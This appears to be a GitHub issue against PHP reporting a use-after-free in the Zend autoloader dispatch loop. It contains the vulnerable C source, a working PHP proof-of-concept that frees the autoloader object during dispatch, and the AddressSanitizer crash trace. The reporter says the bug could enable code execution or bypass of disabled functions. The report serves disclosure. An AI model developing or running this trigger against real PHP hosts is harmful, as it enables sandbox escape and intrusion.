Skip to content

Class autoloader $this freed via spl_autoload_unregister during dispatch (exploitable UAF) #22060

@therealcoiffeur

Description

@therealcoiffeur

Summary

The autoloader-dispatch loop walks the autoloader table. From inside an autoloader, calling spl_autoload_unregister([$this, 'load']) deletes the hash entry, releases the only reference to $this, and frees it, while the autoloader's PHP body is still running.

Vulnerable Source Code

// Zend/zend_autoload.c:28-33 -- FCC destructor
static void zend_autoload_callback_zval_destroy(zval *element)
{
    zend_fcall_info_cache *fcc = Z_PTR_P(element);
    zend_fcc_dtor(fcc);    // <- OBJ_RELEASE(fcc->object)
    efree(fcc);
}

// Zend/zend_autoload.c:55-70 -- dispatch loop
const HashTable *class_autoload_functions = zend_class_autoload_functions;

/* Cannot use ZEND_HASH_MAP_FOREACH_PTR here as autoloaders may be
 * added/removed during autoloading. */
HashPosition pos;
zend_hash_internal_pointer_reset_ex(class_autoload_functions, &pos);
while (true) {
    zend_fcall_info_cache *func_info =
        zend_hash_get_current_data_ptr_ex(class_autoload_functions, &pos);
    if (!func_info) break;
    zend_call_known_fcc(func_info, NULL, 1, &zname, NULL);  // <- no GC_ADDREF(func_info->object)
    ...
}

The comment at lines 57-58 explicitly acknowledges that autoloaders can be added or removed during autoloading, but the dispatch does not protect func_info->object.

How to Trigger

<?php

class Loader {
    public string $data = "sensitive";

    public function load(string $class): void {
        spl_autoload_unregister([$this, 'load']);

        echo $this->data;
    }
}

$obj = new Loader();
spl_autoload_register([$obj, 'load']);
unset($obj);

new NonExistentClass42();

Command:

USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f1/poc.php

Output:

=================================================================
==34584==ERROR: AddressSanitizer: heap-use-after-free on address 0x6060000233d0 at pc 0x0001023bf928 bp 0x00016f5d6bf0 sp 0x00016f5d6be8
READ of size 8 at 0x6060000233d0 thread T0
    #0 0x0001023bf924 in ZEND_FETCH_OBJ_R_SPEC_UNUSED_CONST_TAILCALL_INLINE_HANDLER zend_vm_execute.h:85603
    #1 0x000101fba194 in execute_ex zend_vm_execute.h:110168
    #2 0x000101f9ac08 in zend_call_function zend_execute_API.c:1016
    #3 0x000101f9cbfc in zend_call_known_function zend_execute_API.c:1114
    #4 0x000101ec1ce4 in zend_call_known_fcc zend_API.h:863
    #5 0x000101ec1584 in zend_perform_class_autoload zend_autoload.c:66
    #6 0x000101f9e714 in zend_lookup_class_ex zend_execute_API.c:1276
    #7 0x000101fa06c0 in zend_fetch_class_by_name zend_execute_API.c:1795
    #8 0x0001022512a8 in ZEND_NEW_SPEC_CONST_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:63926
    #9 0x000101fba194 in execute_ex zend_vm_execute.h:110168
    #10 0x000101fbab28 in zend_execute zend_vm_execute.h:115586
    #11 0x00010258d350 in zend_execute_script zend.c:1971
    #12 0x000101be64f4 in php_execute_script_ex main.c:2646
    #13 0x000101be6a64 in php_execute_script main.c:2686
    #14 0x000102593b0c in do_cli php_cli.c:947
    #15 0x0001025920cc in main php_cli.c:1370
    #16 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)

0x6060000233d0 is located 16 bytes inside of 56-byte region [0x6060000233c0,0x6060000233f8)
freed by thread T0 here:
    #0 0x000105848f10 in free+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f10)
    #1 0x000101e5523c in __zend_free zend_alloc.c:3571
    #2 0x000101e58f50 in _efree zend_alloc.c:2788
    #3 0x00010250ce54 in zend_objects_store_del zend_objects_API.c:197
    #4 0x000102572f2c in rc_dtor_func zend_variables.c:56
    #5 0x00010240bc9c in i_zval_ptr_dtor zend_variables.h:44
    #6 0x00010240b5a0 in zend_array_destroy zend_hash.c:1846
    #7 0x000102572f2c in rc_dtor_func zend_variables.c:56
    #8 0x000101faeff4 in zval_ptr_dtor_nogc zend_variables.h:35
    #9 0x000101fa9a10 in zend_vm_stack_free_args zend_execute.h:404
    #10 0x0001022ee414 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54114
    #11 0x000101fba194 in execute_ex zend_vm_execute.h:110168
    #12 0x000101f9ac08 in zend_call_function zend_execute_API.c:1016
    #13 0x000101f9cbfc in zend_call_known_function zend_execute_API.c:1114
    #14 0x000101ec1ce4 in zend_call_known_fcc zend_API.h:863
    #15 0x000101ec1584 in zend_perform_class_autoload zend_autoload.c:66
    #16 0x000101f9e714 in zend_lookup_class_ex zend_execute_API.c:1276
    #17 0x000101fa06c0 in zend_fetch_class_by_name zend_execute_API.c:1795
    #18 0x0001022512a8 in ZEND_NEW_SPEC_CONST_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:63926
    #19 0x000101fba194 in execute_ex zend_vm_execute.h:110168
    #20 0x000101fbab28 in zend_execute zend_vm_execute.h:115586
    #21 0x00010258d350 in zend_execute_script zend.c:1971
    #22 0x000101be64f4 in php_execute_script_ex main.c:2646
    #23 0x000101be6a64 in php_execute_script main.c:2686
    #24 0x000102593b0c in do_cli php_cli.c:947
    #25 0x0001025920cc in main php_cli.c:1370
    #26 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)

previously allocated by thread T0 here:
    #0 0x000105848e24 in malloc+0x70 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54e24)
    #1 0x000101e59560 in __zend_malloc zend_alloc.c:3543
    #2 0x000101e58e24 in _emalloc zend_alloc.c:2778
    #3 0x00010250f580 in zend_objects_new zend_objects.c:190
    #4 0x000101e72dbc in _object_and_properties_init zend_API.c:1819
    #5 0x000101e72fd4 in object_init_ex zend_API.c:1842
    #6 0x0001022515e0 in ZEND_NEW_SPEC_CONST_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:63944
    #7 0x000101fba194 in execute_ex zend_vm_execute.h:110168
    #8 0x000101fbab28 in zend_execute zend_vm_execute.h:115586
    #9 0x00010258d350 in zend_execute_script zend.c:1971
    #10 0x000101be64f4 in php_execute_script_ex main.c:2646
    #11 0x000101be6a64 in php_execute_script main.c:2686
    #12 0x000102593b0c in do_cli php_cli.c:947
    #13 0x0001025920cc in main php_cli.c:1370
    #14 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)

SUMMARY: AddressSanitizer: heap-use-after-free zend_vm_execute.h:85603 in ZEND_FETCH_OBJ_R_SPEC_UNUSED_CONST_TAILCALL_INLINE_HANDLER
Shadow bytes around the buggy address:
  0x606000023100: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
  0x606000023180: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
  0x606000023200: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
  0x606000023280: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
  0x606000023300: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
=>0x606000023380: fd fd fd fd fa fa fa fa fd fd[fd]fd fd fd fd fa
  0x606000023400: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
  0x606000023480: 00 00 00 00 00 00 00 fa fa fa fa fa fd fd fd fd
  0x606000023500: fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x606000023580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x606000023600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==34584==ABORTING
[1]    34584 abort      USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f1/poc.php

PHP Version

PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
    with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce

Note: Even though this could be used to execute arbitrary code or bypass disabled functions, GHSA-j2px-7g2w-jjg4 is not part of PHP's threat model (which is wrong, but that's not my call).
"Hey, this is not a security issue. You have to write carefully crafted code to trigger this. Please re-open this as a normal bug."

Metadata

Metadata

Assignees

No one assigned

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions